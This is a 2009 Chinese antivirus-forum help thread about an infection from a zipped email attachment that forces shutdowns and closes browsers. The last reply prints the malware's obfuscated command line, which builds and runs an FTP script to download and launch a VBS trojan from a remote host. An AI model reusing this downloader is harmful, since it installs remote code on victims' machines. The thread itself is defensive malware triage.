瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 60秒关闭电脑，不能复制，所有浏览器自动关闭（IE等）

1   1  /  1  页   跳转页

[求助] 60秒关闭电脑，不能复制，所有浏览器自动关闭（IE等）

收藏
匕首雨
头像
初生襁褓狮
  • 帖子:8
  • 注册: 2009-10-14
  • 来自:
发表于： 2009-10-14 17:25 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

60秒关闭电脑，不能复制，所有浏览器自动关闭（IE等）

收到一朋友发的邮件，禮物.zip (1KB)。打开后中毒 了。。。


Remote procedure call(RPC)
60秒关闭电脑，不能复制粘贴，所有浏览器一打开就自动关闭（IE等） ，

Outlook Express也打不开，通过QQ传送文件时，另存为导致QQ无响应。。。。

1.）现通过shutdown -a 暂时解决60秒关闭电脑问题。。
2.）启动后插入U盘，却找不到U盘，
后重启电脑后，无意中发现U盘可以用了-----得重启前插U盘才可以调用U盘中的文件。。


哪位大大帮帮忙啊

...

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2)
分享到：
gototop
 
sinoer
头像
横据古稀狮
  • 帖子:12382
  • 注册: 2008-09-23
  • 来自:
09欢乐圣诞
发表于： 2009-10-14 17:29 | 短消息 资料
字号： 小 中 大 2楼

回复：60秒关闭电脑，不能复制，所有浏览器自动关闭（IE等）

用卡卡修复系统漏洞，再参考下帖修复rpc
http://bbs.ikaka.com/showtopic-8561436.aspx
一颗红心向党，一片真心为民
gototop
 
匕首雨
头像
初生襁褓狮
  • 帖子:8
  • 注册: 2009-10-14
  • 来自:
发表于： 2009-10-14 17:42 | 只看楼主 短消息 资料
字号： 小 中 大 3楼

回复：60秒关闭电脑，不能复制，所有浏览器自动关闭（IE等）

谢谢
我下了，双击U盘里的卡卡，

然后。。。显示“无法创建临时目录”

另：修复RPC的贴子，因笔记本是繁体系统，所以没有成功修复。

另瑞星监控也是红伞！！
最后编辑匕首雨 最后编辑于 2009-10-14 17:55:27
gototop
 
豪斯登堡新郎
头像
社区嘉宾
  • 帖子:4234
  • 注册: 2007-11-09
  • 来自:
发表于： 2009-10-14 18:03 | 短消息 资料
字号： 小 中 大 4楼

回复：60秒关闭电脑，不能复制，所有浏览器自动关闭（IE等）

将那份邮件附件上传可疑文件交流版
不认识我没关系，因为我也不认识你。
gototop
 
西藏耗牛
头像
飘泊而立狮
  • 帖子:568
  • 注册: 2009-08-02
  • 来自:火星，不解释
发表于： 2009-10-14 19:43 | 短消息 资料
字号： 小 中 大 5楼

回复：60秒关闭电脑，不能复制，所有浏览器自动关闭（IE等）

上传来这里看看，不要乱打开邮件，不杀毒就打开是很危险的
掀起你的头盖骨来，让我看看你的眼~~
电信是个黑心厂商，一天劫持我几十遍
gototop
 
匕首雨
头像
初生襁褓狮
  • 帖子:8
  • 注册: 2009-10-14
  • 来自:
发表于： 2009-10-15 09:07 | 只看楼主 短消息 资料
字号： 小 中 大 6楼

回复：60秒关闭电脑，不能复制，所有浏览器自动关闭（IE等）

己上传到--可疑文件交流版
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2009-10-15 10:25 | 短消息 资料
字号： 小 中 大 7楼

回复 6F 匕首雨 的帖子

使用System Repair Engineer扫描日志，将日志作为附件上传上来。
下载页面：http://www.kztechs.com/sreng/download.html
操作方法：
1、下载后解压缩，运行SREngPS.EXE；
2、如果无法打开尝试把SREngPS.EXE改名为123.com，并复制到c:\windows目录下运行；
3、依次点击【智能扫描】-【扫描】，耐心等待，扫描结束后点击【保存报告】；
4、选择保存路径，文件名保持默认，直接点击【保存】；
5、打开保存的日志文件SREngLOG.log，完整复制全部内容，新建一个文本文档，将日志中的全部内容粘贴到“新建文本文档.txt”中；
6、将“新建文本文档.txt”作为附件上传，同时务必详细描述问题现象，如果有查杀不净的病毒务必提供病毒名和路径。
注意：扫描前请尽量关闭QQ、游戏、下载工具、媒体播放器等应用程序
gototop
 
匕首雨
头像
初生襁褓狮
  • 帖子:8
  • 注册: 2009-10-14
  • 来自:
发表于： 2009-10-16 10:41 | 只看楼主 短消息 资料
字号： 小 中 大 8楼

回复 7F networkedition 的帖子

谢谢！！
因Remote procedure call(RPC)有问题，60秒强制关机，故无法正常运行SREngPS.EXE

打开N个SREngPS.EXE程XI后，RP好有一个能运行，除了文件关联扫描完毕，其它的一直扫中（有将近2小时）

另：病毒样本我现上传到可疑文件版区（快捷方式病毒）--另我可提供邮件转发,要的速度，时间长了病毒就会被邮箱限制而无法下载。。

中毒方式：
1.）直接通过邮箱双击压缩文件
2.）下载后双击压缩文件
3.）解压后双击文件。。
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2009-10-16 11:03 | 短消息 资料
字号： 小 中 大 9楼

回复 8F 匕首雨 的帖子

样本已上报瑞星了，还在分析中
%ComSpec% /c set m=y&set e=t &set o=.&set u=03&set s=p -s:d&set t=echo &echo %t%o ftp%o%g%u%z%o%com^>d>b&echo %t%aa33^>^>d>>b&echo %t%bb33^>^>d>>b&echo %t%ge%e%%e%t.vbs^>^>d>>b&echo %t%b%m%e^>^>d>>b&echo ft%s%>>b&echo start t.vbs>>b&ren b f.bat&call f.bat&

就是一个vbs脚本,去连接ftp下载木马~
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT